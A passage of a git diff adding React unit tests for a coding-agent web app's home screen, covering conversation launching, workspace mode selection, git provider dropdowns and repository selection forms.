+ const user = userEvent.setup();
+
+ await user.click(screen.getByTestId("open-workspace-button"));
+ await user.click(
+ await screen.findByTestId("stub-workspace-dialog-confirm"),
+ );
+ expect(screen.getByTestId("stub-workspace-mode")).toHaveTextContent(
+ "local:local_repo",
+ );
+
+ await user.click(screen.getByTestId("stub-workspace-mode-new-worktree"));
+ expect(screen.getByTestId("stub-workspace-mode")).toHaveTextContent(
+ "local:new_worktree",
+ );
+ await user.click(screen.getByTestId("stub-chat-submit"));
+
+ await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+ expect(createSpy).toHaveBeenCalledWith({
+ initialUserMsg: "hello world",
+ metadata: null,
+ workingDirOverride: "/p/app",
+ workspaceMode: "new_worktree",
+ });
+ await waitFor(() =>
+ expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-wt"),
+ );
+ });
+
+ it("restores and updates the last selected local workspace mode", async () => {
+ writeStoredLocalWorkspaceMode("new_worktree");
+ const { unmount } = renderLauncher();
+ const user = userEvent.setup();
+
+ await user.click(screen.getByTestId("open-workspace-button"));
+ await user.click(
+ await screen.findByTestId("stub-workspace-dialog-confirm"),
+ );
+
+ expect(screen.getByTestId("stub-workspace-mode")).toHaveTextContent(
+ "local:new_worktree",
+ );
+
+ await user.click(screen.getByTestId("stub-workspace-mode-local-repo"));
+ expect(screen.getByTestId("stub-workspace-mode")).toHaveTextContent(
+ "local:local_repo",
+ );
+
+ unmount();
+ renderLauncher();
+
+ await user.click(screen.getByTestId("open-workspace-button"));
+ await user.click(
+ await screen.findByTestId("stub-workspace-dialog-confirm"),
+ );
+
+ expect(screen.getByTestId("stub-workspace-mode")).toHaveTextContent(
+ "local:local_repo",
+ );
+ });
+
+ it("disables the local workspace launcher when the agent server is too old", async () => {
+ vi.spyOn(WorkspacesService, "listWorkspaces").mockRejectedValue({
+ code: "AGENT_SERVER_VERSION_TOO_OLD",
+ feature: "workspaces",
+ requiredVersion: "1.23.0",
+ actualVersion: "1.22.1",
+ });
+
+ renderLauncher();
+ const user = userEvent.setup();
+ await waitFor(() =>
+ expect(screen.getByTestId("open-workspace-button")).toBeDisabled(),
+ );
+ const button = screen.getByTestId("open-workspace-button");
+ await user.hover(button.parentElement ?? button);
+
+ expect(
+ await screen.findByText("HOME$WORKSPACES_UNSUPPORTED_AGENT_SERVER"),
+ ).toBeInTheDocument();
+ });
+
+ it("passes the picked repository + branch payload on a cloud backend", async () => {
+ mockUseActiveBackend.mockReturnValue(cloudBackend);
+ const createSpy = vi
+ .spyOn(AgentServerConversationService, "createConversation")
+ .mockResolvedValue(
+ makeConversationResponse({ app_conversation_id: "conv-repo" }),
+ );
+
+ renderLauncher();
+ const user = userEvent.setup();
+
+ await user.click(screen.getByTestId("open-repository-button"));
+ await user.click(await screen.findByTestId("stub-repo-dialog-confirm"));
+ await user.click(screen.getByTestId("stub-chat-submit"));
+
+ await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+ expect(createSpy).toHaveBeenCalledWith({
+ initialUserMsg: "hello world",
+ metadata: {
+ selected_repository: "org/repo",
+ selected_branch: "main",
+ git_provider: "github",
+ },
+ });
+ await waitFor(() =>
+ expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-repo"),
+ );
+ });
+
+ it("does not pass query to createConversation when attachments are present", async () => {
+ mockImages = [new File(["x"], "shot.png", { type: "image/png" })];
+ const createSpy = vi
+ .spyOn(AgentServerConversationService, "createConversation")
+ .mockResolvedValue(makeConversationResponse());
+
+ renderLauncher();
+ const user = userEvent.setup();
+ await user.click(screen.getByTestId("stub-chat-submit"));
+
+ await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+ expect(createSpy).toHaveBeenCalledWith({
+ metadata: null,
+ });
+ await waitFor(() =>
+ expect(sendMessageWithAttachments).toHaveBeenCalledTimes(1),
+ );
+ expect(mockClearAllFiles).toHaveBeenCalled();
+ await waitFor(() =>
+ expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-abc"),
+ );
+ });
+
+ it("surfaces a toast and skips navigation when conversation creation fails", async () => {
+ vi.spyOn(
+ AgentServerConversationService,
+ "createConversation",
+ ).mockRejectedValue(new Error("Network down"));
+
+ renderLauncher();
+ const user = userEvent.setup();
+ await user.click(screen.getByTestId("stub-chat-submit"));
+
+ await waitFor(() => expect(mockDisplayErrorToast).toHaveBeenCalled());
+ expect(mockNavigate).not.toHaveBeenCalled();
+ });
+
+ it("enqueues an optimistic pending message when cloud returns a start task", async () => {
+ mockUseActiveBackend.mockReturnValue(cloudBackend);
+ const createSpy = vi
+ .spyOn(AgentServerConversationService, "createConversation")
+ .mockResolvedValue(
+ makeConversationResponse({
+ id: "start-task-1",
+ app_conversation_id: null,
+ }),
+ );
+
+ renderLauncher();
+ const user = userEvent.setup();
+ await user.click(screen.getByTestId("stub-chat-submit"));
+
+ await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+ await waitFor(() =>
+ expect(enqueueHomeTaskPendingMessage).toHaveBeenCalledWith({
+ conversationId: "task-start-task-1",
+ text: "hello world",
+ images: [],
+ imagesMarkedUploadAsFile: [],
+ }),
+ );
+ await waitFor(() =>
+ expect(mockNavigate).toHaveBeenCalledWith(
+ "/conversations/task-start-task-1",
+ ),
+ );
+ });
+
+ it("defers attachments and enqueues an optimistic pending message for cloud start tasks", async () => {
+ mockUseActiveBackend.mockReturnValue(cloudBackend);
+ mockImages = [new File(["x"], "shot.png", { type: "image/png" })];
+ const createSpy = vi
+ .spyOn(AgentServerConversationService, "createConversation")
+ .mockResolvedValue(
+ makeConversationResponse({
+ id: "start-task-2",
+ app_conversation_id: null,
+ }),
+ );
+
+ renderLauncher();
+ const user = userEvent.setup();
+ await user.click(screen.getByTestId("stub-chat-submit"));
+
+ await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+ expect(createSpy).toHaveBeenCalledWith({
+ metadata: null,
+ });
+ expect(sendMessageWithAttachments).not.toHaveBeenCalled();
+ await waitFor(() =>
+ expect(enqueueHomeTaskPendingMessage).toHaveBeenCalledWith({
+ conversationId: "task-start-task-2",
+ text: "hello world",
+ images: mockImages,
+ imagesMarkedUploadAsFile: [],
+ }),
+ );
+ await waitFor(() =>
+ expect(mockNavigate).toHaveBeenCalledWith(
+ "/conversations/task-start-task-2",
+ ),
+ );
+ });
+
+ it("attaches the picked plugins to the created conversation", async () => {
+ const createSpy = vi
+ .spyOn(AgentServerConversationService, "createConversation")
+ .mockResolvedValue(makeConversationResponse());
+
+ renderLauncher();
+ const user = userEvent.setup();
+
+ await user.click(screen.getByTestId("open-plugin-picker"));
+ await user.click(await screen.findByTestId("stub-plugin-pick"));
+ await user.click(screen.getByTestId("stub-chat-submit"));
+
+ await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+ expect(createSpy).toHaveBeenCalledWith({
+ initialUserMsg: "hello world",
+ plugins: [{ source: "github:o/a", ref: null, repo_path: null }],
+ metadata: null,
+ });
+ });
+
+ it("always renders the recommended automations rail above pinned activity", () => {
+ renderLauncher();
+
+ expect(
+ screen.getByTestId("recommended-automations-rail"),
+ ).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/home/home-git-selection-preview.test.tsx b/__tests__/components/features/home/home-git-selection-preview.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..82e23e6d918d08f67dbd54dc389c9a96d5a9996a
--- /dev/null
+++ b/__tests__/components/features/home/home-git-selection-preview.test.tsx
@@ -0,0 +1,212 @@
+import type { ComponentProps } from "react";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import type { GitControlBarRepoButton as RepoButtonComponent } from "#/components/features/chat/git-control-bar-repo-button";
+import type { GitControlBarBranchButton as BranchButtonComponent } from "#/components/features/chat/git-control-bar-branch-button";
+import type { WorkspaceModeSelector as WorkspaceModeSelectorComponent } from "#/components/features/chat/workspace-mode-selector";
+import { HomeGitControlBarPreview } from "#/components/features/home/home-git-control-bar-preview";
+import type { Branch, GitRepository } from "#/types/git";
+import type { LocalWorkspace } from "#/types/workspace";
+
+type RepoButtonProps = ComponentProps;
+type BranchButtonProps = ComponentProps;
+type WorkspaceModeSelectorProps = ComponentProps<
+ typeof WorkspaceModeSelectorComponent
+>;
+
+vi.mock("#/components/features/chat/git-control-bar-repo-button", () => ({
+ GitControlBarRepoButton: ({
+ selectedRepository,
+ gitProvider,
+ workspaceName,
+ onClick,
+ }: RepoButtonProps) => (
+
+ {selectedRepository ?? "none"}
+ {gitProvider ?? "none"}
+ {workspaceName ?? "none"}
+
+ ),
+}));
+
+vi.mock("#/components/features/chat/git-control-bar-branch-button", () => ({
+ GitControlBarBranchButton: ({
+ selectedBranch,
+ selectedRepository,
+ gitProvider,
+ }: BranchButtonProps) => (
+
+ {selectedBranch ?? "none"}
+
+ {selectedRepository ?? "none"}
+
+ {gitProvider ?? "none"}
+
+ ),
+}));
+
+vi.mock("#/components/features/chat/workspace-mode-selector", () => ({
+ WorkspaceModeSelector: ({
+ value,
+ backendKind,
+ onChange,
+ }: WorkspaceModeSelectorProps) => (
+
+ onChange(value === "local_repo" ? "new_worktree" : "local_repo")
+ }
+ >
+ Change workspace mode
+
+ ),
+}));
+
+type PreviewProps = ComponentProps;
+
+function createWorkspace(
+ overrides: Partial = {},
+): LocalWorkspace {
+ return {
+ id: "workspace-1",
+ name: "Agent Canvas",
+ path: "/workspace/agent-canvas",
+ ...overrides,
+ };
+}
+
+function createRepository(
+ overrides: Partial = {},
+): GitRepository {
+ return {
+ id: "repository-1",
+ full_name: "OpenHands/agent-canvas",
+ git_provider: "github",
+ is_public: true,
+ ...overrides,
+ };
+}
+
+function createBranch(overrides: Partial = {}): Branch {
+ return {
+ name: "main",
+ commit_sha: "abc123",
+ protected: true,
+ ...overrides,
+ };
+}
+
+function createPreviewProps(
+ overrides: Partial = {},
+): PreviewProps {
+ return {
+ workspace: createWorkspace(),
+ repository: createRepository(),
+ branch: createBranch(),
+ provider: "github",
+ workspaceMode: "local_repo",
+ backendKind: "local",
+ onRepoClick: vi.fn(),
+ onWorkspaceModeChange: vi.fn(),
+ ...overrides,
+ };
+}
+
+describe("home git selection preview", () => {
+ it("shows a complete selection and forwards both controls", async () => {
+ const user = userEvent.setup();
+ const props = createPreviewProps({
+ workspace: createWorkspace({ path: "/workspace/review-target///" }),
+ });
+
+ render( );
+
+ expect(
+ screen.getByTestId("home-git-control-bar-preview"),
+ ).toBeInTheDocument();
+ expect(screen.getByTestId("repo-name")).toHaveTextContent(
+ "OpenHands/agent-canvas",
+ );
+ expect(screen.getByTestId("repo-provider")).toHaveTextContent("github");
+ expect(screen.getByTestId("workspace-name")).toHaveTextContent(
+ /^review-target$/,
+ );
+ expect(screen.getByTestId("workspace-mode-preview")).toHaveAttribute(
+ "data-value",
+ "local_repo",
+ );
+ expect(screen.getByTestId("workspace-mode-preview")).toHaveAttribute(
+ "data-backend-kind",
+ "local",
+ );
+ expect(screen.getByTestId("branch-name")).toHaveTextContent("main");
+ expect(screen.getByTestId("branch-repository")).toHaveTextContent(
+ "OpenHands/agent-canvas",
+ );
+ expect(screen.getByTestId("branch-provider")).toHaveTextContent("github");
+
+ await user.click(screen.getByTestId("repo-preview"));
+ await user.click(screen.getByTestId("workspace-mode-preview"));
+
+ expect(props.onRepoClick).toHaveBeenCalledOnce();
+ expect(props.onWorkspaceModeChange).toHaveBeenCalledWith("new_worktree");
+ });
+
+ it("keeps only the repository control when there is no selection", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("repo-preview")).toBeInTheDocument();
+ expect(screen.getByTestId("repo-name")).toHaveTextContent("none");
+ expect(screen.getByTestId("repo-provider")).toHaveTextContent("none");
+ expect(screen.getByTestId("workspace-name")).toHaveTextContent("none");
+ expect(
+ screen.queryByTestId("workspace-mode-preview"),
+ ).not.toBeInTheDocument();
+ expect(screen.queryByTestId("branch-preview")).not.toBeInTheDocument();
+ });
+
+ it("falls back to the full workspace path and shows an unlinked branch", async () => {
+ const user = userEvent.setup();
+ const props = createPreviewProps({
+ workspace: createWorkspace({ path: "/" }),
+ repository: null,
+ branch: createBranch({ name: "feature/local" }),
+ provider: null,
+ workspaceMode: "new_worktree",
+ backendKind: "cloud",
+ });
+
+ render( );
+
+ expect(screen.getByTestId("workspace-name")).toHaveTextContent("/");
+ expect(screen.getByTestId("workspace-mode-preview")).toHaveAttribute(
+ "data-value",
+ "new_worktree",
+ );
+ expect(screen.getByTestId("workspace-mode-preview")).toHaveAttribute(
+ "data-backend-kind",
+ "cloud",
+ );
+ expect(screen.getByTestId("branch-name")).toHaveTextContent(
+ "feature/local",
+ );
+ expect(screen.getByTestId("branch-repository")).toHaveTextContent("none");
+ expect(screen.getByTestId("branch-provider")).toHaveTextContent("none");
+
+ await user.click(screen.getByTestId("workspace-mode-preview"));
+ expect(props.onWorkspaceModeChange).toHaveBeenCalledWith("local_repo");
+ });
+});
diff --git a/__tests__/components/features/home/provider-selection.test.tsx b/__tests__/components/features/home/provider-selection.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..efed6ce30f09b0536f895c796e76823dd2f491ea
--- /dev/null
+++ b/__tests__/components/features/home/provider-selection.test.tsx
@@ -0,0 +1,403 @@
+import React from "react";
+import { renderToStaticMarkup } from "react-dom/server";
+import { render, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { GitProviderDropdown } from "#/components/features/home/git-provider-dropdown/git-provider-dropdown";
+import type { Provider } from "#/types/settings";
+
+const useTranslationMock = vi.hoisted(() => vi.fn());
+
+vi.mock("react-i18next", () => ({
+ useTranslation: (namespace?: unknown) => {
+ useTranslationMock(namespace);
+ return {
+ t: (key: string) =>
+ ({
+ COMMON$SELECT_PROVIDER_PLACEHOLDER: "Select provider",
+ COMMON$TOGGLE_MENU: "Toggle menu",
+ })[key] ?? key,
+ };
+ },
+}));
+
+const ALL_PROVIDERS: Provider[] = [
+ "github",
+ "gitlab",
+ "bitbucket",
+ "bitbucket_data_center",
+ "azure_devops",
+ "forgejo",
+];
+
+type DropdownProps = React.ComponentProps;
+
+function createProps(overrides: Partial = {}): DropdownProps {
+ return {
+ providers: ALL_PROVIDERS,
+ onChange: vi.fn(),
+ ...overrides,
+ };
+}
+
+function ControlledDropdown({ onChange, value, ...props }: DropdownProps) {
+ const [selectedProvider, setSelectedProvider] =
+ React.useState(value ?? null);
+
+ return (
+ {
+ setSelectedProvider(provider);
+ onChange?.(provider);
+ }}
+ />
+ );
+}
+
+describe("git provider selection", () => {
+ it("includes the controlled provider in the initial markup", () => {
+ const emptyMarkup = renderToStaticMarkup(
+ ,
+ );
+ const selectedMarkup = renderToStaticMarkup(
+ ,
+ );
+
+ expect(emptyMarkup).toContain('value=""');
+ expect(selectedMarkup).toContain("pl-6");
+ expect(selectedMarkup).toContain("min-w-[14px]");
+ });
+
+ it("lists every provider with its user-facing name and selects one", async () => {
+ const user = userEvent.setup();
+ useTranslationMock.mockClear();
+ const props = createProps({
+ className: "provider-root",
+ inputClassName: "provider-input",
+ toggleButtonClassName: "provider-toggle-icon",
+ itemClassName: "provider-option",
+ });
+
+ render( );
+
+ const input = screen.getByTestId("git-provider-dropdown");
+ expect(useTranslationMock).toHaveBeenNthCalledWith(1, "openhands");
+ expect(input).toHaveAttribute("placeholder", "Select provider");
+ expect(input).toHaveAttribute("readonly");
+ expect(input.parentElement?.parentElement).toHaveClass(
+ "relative",
+ "provider-root",
+ );
+ expect(input).toHaveClass(
+ "provider-input",
+ "w-29.5",
+ "border",
+ "rounded",
+ "text-inherit",
+ "bg-tertiary",
+ "placeholder:text-[var(--oh-muted)]",
+ "focus:outline-none",
+ "focus:ring-0",
+ "focus:border-[var(--oh-border-input)]",
+ "disabled:bg-tertiary",
+ "disabled:cursor-not-allowed",
+ "disabled:opacity-60",
+ "pl-1.5",
+ "pr-[1px]",
+ "cursor-pointer",
+ "text-xs",
+ "font-normal",
+ "leading-5",
+ );
+ expect(screen.queryByTestId("dropdown-loading")).not.toBeInTheDocument();
+ expect(
+ screen.getByRole("button", { name: "Toggle menu" }).querySelector("svg"),
+ ).toHaveClass("provider-toggle-icon");
+
+ await user.click(input);
+
+ expect(
+ screen.getAllByRole("option").map((option) => option.textContent),
+ ).toEqual([
+ "GitHub",
+ "GitLab",
+ "Bitbucket",
+ "Bitbucket Data Center",
+ "Azure DevOps",
+ "Forgejo",
+ ]);
+ expect(screen.getByRole("option", { name: "GitLab" })).toHaveClass(
+ "provider-option",
+ );
+
+ await user.click(screen.getByRole("option", { name: "GitLab" }));
+
+ expect(props.onChange).toHaveBeenCalledWith("gitlab");
+ expect(props.onChange).toHaveBeenCalledTimes(1);
+ await waitFor(() => expect(input).toHaveValue("GitLab"));
+ expect(input).toHaveClass("pl-6");
+ expect(input.previousElementSibling).toHaveClass(
+ "absolute",
+ "left-2",
+ "z-10",
+ );
+ expect(input.previousElementSibling?.querySelector("svg")).toHaveClass(
+ "min-w-[14px]",
+ "h-[14px]",
+ );
+ expect(screen.queryByRole("option")).not.toBeInTheDocument();
+ });
+
+ it("updates the available options when the providers prop changes", async () => {
+ const user = userEvent.setup();
+ const { rerender } = render(
+ ,
+ );
+ const input = screen.getByTestId("git-provider-dropdown");
+
+ await user.click(input);
+ expect(screen.getAllByRole("option")).toHaveLength(1);
+ expect(screen.getByRole("option", { name: "GitHub" })).toBeVisible();
+ await user.keyboard("{Escape}");
+
+ rerender(
+ ,
+ );
+ await user.click(input);
+
+ expect(
+ screen.getAllByRole("option").map((option) => option.textContent),
+ ).toEqual(["GitLab", "Azure DevOps"]);
+ });
+
+ it("keeps provider options uniquely keyed when their order changes", async () => {
+ const user = userEvent.setup();
+ const consoleError = vi.spyOn(console, "error").mockImplementation(() => {});
+ const { rerender } = render(
+ ,
+ );
+ const input = screen.getByTestId("git-provider-dropdown");
+
+ try {
+ await user.click(input);
+ rerender(
+ ,
+ );
+
+ expect(
+ screen.getAllByRole("option").map((option) => option.textContent),
+ ).toEqual(["GitLab", "GitHub"]);
+ expect(consoleError).not.toHaveBeenCalledWith(
+ expect.stringContaining('unique "key" prop'),
+ );
+ } finally {
+ consoleError.mockRestore();
+ }
+ });
+
+ it("allows a different provider to be selected without a callback", async () => {
+ const user = userEvent.setup();
+ render( );
+ const input = screen.getByTestId("git-provider-dropdown");
+
+ await user.click(input);
+ const runtimeErrors: unknown[] = [];
+ const preventRuntimeError = (event: ErrorEvent) => {
+ event.preventDefault();
+ runtimeErrors.push(event.error);
+ };
+ window.addEventListener("error", preventRuntimeError);
+ try {
+ await user.click(screen.getByRole("option", { name: "GitLab" }));
+ } finally {
+ window.removeEventListener("error", preventRuntimeError);
+ }
+
+ expect(runtimeErrors).toEqual([]);
+ expect(screen.queryByRole("option")).not.toBeInTheDocument();
+ await waitFor(() => expect(input).toHaveValue(""));
+ });
+
+ it("reopens a selected provider with the complete provider list", async () => {
+ const user = userEvent.setup();
+ render( );
+ const input = screen.getByTestId("git-provider-dropdown");
+ await waitFor(() => expect(input).toHaveValue("GitLab"));
+
+ await user.click(input);
+
+ expect(screen.getAllByRole("option")).toHaveLength(ALL_PROVIDERS.length);
+ expect(screen.getByRole("option", { name: "GitHub" })).toBeVisible();
+ expect(screen.getByRole("option", { name: "Forgejo" })).toBeVisible();
+ });
+
+ it("tracks controlled provider changes and clearing", async () => {
+ const props = createProps({ value: "github", isLoading: true });
+ const { rerender } = render( );
+ const input = screen.getByTestId("git-provider-dropdown");
+
+ await waitFor(() => expect(input).toHaveValue("GitHub"));
+ expect(screen.getByTestId("dropdown-loading").parentElement).toHaveClass(
+ "right-11",
+ );
+
+ rerender( );
+ await waitFor(() => expect(input).toHaveValue("Azure DevOps"));
+
+ rerender( );
+ await waitFor(() => expect(input).toHaveValue(""));
+ expect(input).not.toHaveClass("pl-6");
+ expect(screen.getByTestId("dropdown-loading").parentElement).toHaveClass(
+ "right-6",
+ );
+ });
+
+ it("prevents interaction while disabled", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ const input = screen.getByTestId("git-provider-dropdown");
+ const toggle = screen.getByRole("button", { name: "Toggle menu" });
+ expect(input).toBeDisabled();
+ expect(toggle).toBeDisabled();
+
+ await user.click(input);
+ await user.click(toggle);
+ expect(screen.queryByRole("option")).not.toBeInTheDocument();
+ });
+
+ it("shows loading and error feedback with a custom placeholder", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("git-provider-dropdown")).toHaveAttribute(
+ "placeholder",
+ "Choose a source",
+ );
+ expect(screen.getByTestId("dropdown-loading")).toBeVisible();
+ expect(screen.getByTestId("dropdown-error")).toHaveTextContent(
+ "Providers could not be loaded",
+ );
+ });
+
+ it("shows an empty state when no providers are available", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ await user.click(screen.getByTestId("git-provider-dropdown"));
+
+ expect(screen.getByTestId("git-provider-dropdown-empty")).toHaveTextContent(
+ "No providers available",
+ );
+ expect(screen.queryByRole("option")).not.toBeInTheDocument();
+ });
+
+ it("keeps its read-only list intact when the user types", async () => {
+ const user = userEvent.setup();
+ render( );
+ const input = screen.getByTestId("git-provider-dropdown");
+
+ await user.click(input);
+ await user.keyboard("git");
+
+ expect(input).toHaveValue("");
+ expect(screen.getAllByRole("option")).toHaveLength(ALL_PROVIDERS.length);
+ });
+
+ it("dismisses the menu with Escape or an outside click", async () => {
+ const user = userEvent.setup();
+ render(
+ <>
+ Outside
+
+ >,
+ );
+ const input = screen.getByTestId("git-provider-dropdown");
+
+ await user.click(input);
+ expect(screen.getAllByRole("option")).toHaveLength(ALL_PROVIDERS.length);
+ await user.keyboard("{Escape}");
+ expect(screen.queryByRole("option")).not.toBeInTheDocument();
+
+ await user.click(input);
+ expect(screen.getAllByRole("option")).toHaveLength(ALL_PROVIDERS.length);
+ await user.click(screen.getByRole("button", { name: "Outside" }));
+ expect(screen.queryByRole("option")).not.toBeInTheDocument();
+ });
+
+ it("clears the selected provider when Escape is pressed while closed", async () => {
+ const user = userEvent.setup();
+ const onChange = vi.fn();
+ render(
+ ,
+ );
+ const input = screen.getByTestId("git-provider-dropdown");
+ await waitFor(() => expect(input).toHaveValue("GitHub"));
+
+ await user.click(input);
+ await user.keyboard("{Escape}");
+ expect(input).toHaveValue("GitHub");
+
+ await user.keyboard("{Escape}");
+ await waitFor(() => expect(input).toHaveValue(""));
+ expect(onChange).toHaveBeenCalledWith(null);
+ expect(onChange).toHaveBeenCalledTimes(1);
+ });
+
+ it("allows the current provider to be reselected without a callback", async () => {
+ const user = userEvent.setup();
+ render( );
+ const input = screen.getByTestId("git-provider-dropdown");
+ await waitFor(() => expect(input).toHaveValue("Forgejo"));
+
+ await user.click(input);
+ await user.click(screen.getByRole("option", { name: "Forgejo" }));
+
+ await waitFor(() => expect(input).toHaveValue("Forgejo"));
+ expect(screen.queryByRole("option")).not.toBeInTheDocument();
+ });
+
+ it("marks the current provider as selected when the menu opens", async () => {
+ const user = userEvent.setup();
+ render( );
+ const input = screen.getByTestId("git-provider-dropdown");
+ await waitFor(() => expect(input).toHaveValue("Bitbucket"));
+
+ await user.click(input);
+
+ const listbox = screen.getByRole("listbox");
+ const selectedOption = within(listbox).getByRole("option", {
+ name: "Bitbucket",
+ });
+ const unselectedOption = within(listbox).getByRole("option", {
+ name: "GitHub",
+ });
+ expect(selectedOption).toHaveAttribute("aria-selected", "true");
+ expect(selectedOption).toHaveClass("bg-[var(--oh-interactive-selected)]");
+ expect(selectedOption).not.toHaveClass(
+ "hover:bg-[var(--oh-interactive-hover)]",
+ );
+ expect(unselectedOption).toHaveAttribute("aria-selected", "false");
+ expect(unselectedOption).toHaveClass(
+ "hover:bg-[var(--oh-interactive-hover)]",
+ );
+ expect(unselectedOption).not.toHaveClass(
+ "bg-[var(--oh-interactive-selected)]",
+ );
+ });
+});
diff --git a/__tests__/components/features/home/repo-selection-form.test.tsx b/__tests__/components/features/home/repo-selection-form.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..fa9a348efd071e83e98c7f3d709f62063ec7c943
--- /dev/null
+++ b/__tests__/components/features/home/repo-selection-form.test.tsx
@@ -0,0 +1,331 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, vi, beforeEach, it } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { RepositorySelectionForm } from "../../../../src/components/features/home/repo-selection-form";
+import GitService from "#/api/git-service/git-service.api";
+import { GitRepository } from "#/types/git";
+import { useHomeStore } from "#/stores/home-store";
+
+// Create mock functions
+const mockUseUserRepositories = vi.fn();
+const mockUseCreateConversation = vi.fn();
+const mockUseIsCreatingConversation = vi.fn();
+const mockUseTranslation = vi.fn();
+const mockUseAuth = vi.fn();
+const mockUseGitRepositories = vi.fn();
+const mockUseUserProviders = vi.fn();
+const mockUseSearchRepositories = vi.fn();
+
+// Setup default mock returns
+mockUseUserRepositories.mockReturnValue({
+ data: [],
+ isLoading: false,
+ isError: false,
+});
+
+mockUseCreateConversation.mockReturnValue({
+ mutate: vi.fn(),
+ isPending: false,
+ isSuccess: false,
+});
+
+mockUseIsCreatingConversation.mockReturnValue(false);
+
+mockUseTranslation.mockReturnValue({ t: (key: string) => key });
+
+// Default mock for useGitRepositories
+mockUseGitRepositories.mockReturnValue({
+ data: { pages: [] },
+ isLoading: false,
+ isError: false,
+ hasNextPage: false,
+ isFetchingNextPage: false,
+ fetchNextPage: vi.fn(),
+ onLoadMore: vi.fn(),
+});
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => mockUseTranslation(),
+}));
+
+vi.mock("#/hooks/use-user-providers", () => ({
+ useUserProviders: () => mockUseUserProviders(),
+}));
+
+mockUseUserProviders.mockReturnValue({
+ providers: ["github"],
+});
+
+// Default mock for useSearchRepositories
+mockUseSearchRepositories.mockReturnValue({
+ data: [],
+ isLoading: false,
+});
+
+mockUseAuth.mockReturnValue({
+ isAuthenticated: true,
+ isLoading: false,
+ providersAreSet: true,
+ user: {
+ id: 1,
+ login: "testuser",
+ avatar_url: "https://example.com/avatar.png",
+ name: "Test User",
+ email: "test@example.com",
+ company: "Test Company",
+ },
+ login: vi.fn(),
+ logout: vi.fn(),
+});
+
+vi.mock("#/hooks/mutation/use-create-conversation", () => ({
+ useCreateConversation: () => mockUseCreateConversation(),
+}));
+
+vi.mock("#/hooks/use-is-creating-conversation", () => ({
+ useIsCreatingConversation: () => mockUseIsCreatingConversation(),
+}));
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => mockUseTranslation(),
+}));
+
+vi.mock("#/context/auth-context", () => ({
+ useAuth: () => mockUseAuth(),
+}));
+
+// Mock debounce to simulate proper debounced behavior
+let debouncedValue = "";
+vi.mock("#/hooks/use-debounce", () => ({
+ useDebounce: (value: string) => {
+ // In real debouncing, only the final value after the delay should be returned
+ // For testing, we'll return the full value once it's complete
+ if (value && value.length > 20) {
+ // URL is long enough
+ debouncedValue = value;
+ return value;
+ }
+ return debouncedValue; // Return previous debounced value for intermediate states
+ },
+}));
+
+vi.mock("react-router", async (importActual) => ({
+ ...(await importActual()),
+ useNavigate: vi.fn(),
+}));
+
+vi.mock("#/hooks/query/use-git-repositories", () => ({
+ useGitRepositories: () => mockUseGitRepositories(),
+}));
+
+vi.mock("#/hooks/query/use-search-repositories", () => ({
+ useSearchRepositories: (query: string, provider: string) =>
+ mockUseSearchRepositories(query, provider),
+}));
+
+const mockOnRepoSelection = vi.fn();
+
+// Helper function to render with custom store state
+const renderForm = (
+ storeOverrides: Partial<{
+ recentRepositories: GitRepository[];
+ lastSelectedProvider: 'gitlab' | null;
+ }> = {},
+) => {
+ // Set up the store state before rendering
+ useHomeStore.setState({
+ recentRepositories: [],
+ lastSelectedProvider: null,
+ ...storeOverrides,
+ });
+
+ return render(
+ ,
+ {
+ wrapper: ({ children }) => (
+
+ {children}
+
+ ),
+ },
+ );
+};
+
+describe("RepositorySelectionForm", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ // Reset the store to initial state
+ useHomeStore.setState({
+ recentRepositories: [],
+ lastSelectedProvider: null,
+ });
+ });
+
+ it("shows dropdown when repositories are loaded", async () => {
+ const MOCK_REPOS: GitRepository[] = [
+ {
+ id: "1",
+ full_name: "user/repo1",
+ git_provider: "github",
+ is_public: true,
+ },
+ {
+ id: "2",
+ full_name: "user/repo2",
+ git_provider: "github",
+ is_public: true,
+ },
+ ];
+ mockUseGitRepositories.mockReturnValue({
+ data: { pages: [{ items: MOCK_REPOS }] },
+ isLoading: false,
+ isError: false,
+ hasNextPage: false,
+ isFetchingNextPage: false,
+ fetchNextPage: vi.fn(),
+ onLoadMore: vi.fn(),
+ });
+
+ renderForm();
+ expect(await screen.findByTestId("git-repo-dropdown")).toBeInTheDocument();
+ });
+
+ it("shows error message when repository fetch fails", async () => {
+ mockUseGitRepositories.mockReturnValue({
+ data: undefined,
+ isLoading: false,
+ isError: true,
+ hasNextPage: false,
+ isFetchingNextPage: false,
+ fetchNextPage: vi.fn(),
+ onLoadMore: vi.fn(),
+ });
+
+ renderForm();
+
+ expect(await screen.findByTestId("dropdown-error")).toBeInTheDocument();
+ expect(screen.getByText("Failed to load data")).toBeInTheDocument();
+ });
+
+ it("should call the search repos API when searching a URL", async () => {
+ const MOCK_SEARCH_REPOS: GitRepository[] = [
+ {
+ id: "3",
+ full_name: "kubernetes/kubernetes",
+ git_provider: "github",
+ is_public: true,
+ },
+ ];
+
+ // Create a spy on the API call
+ const searchGitReposSpy = vi.spyOn(GitService, "searchGitRepositories");
+ searchGitReposSpy.mockResolvedValue({ items: MOCK_SEARCH_REPOS, next_page_id: null });
+
+ mockUseGitRepositories.mockReturnValue({
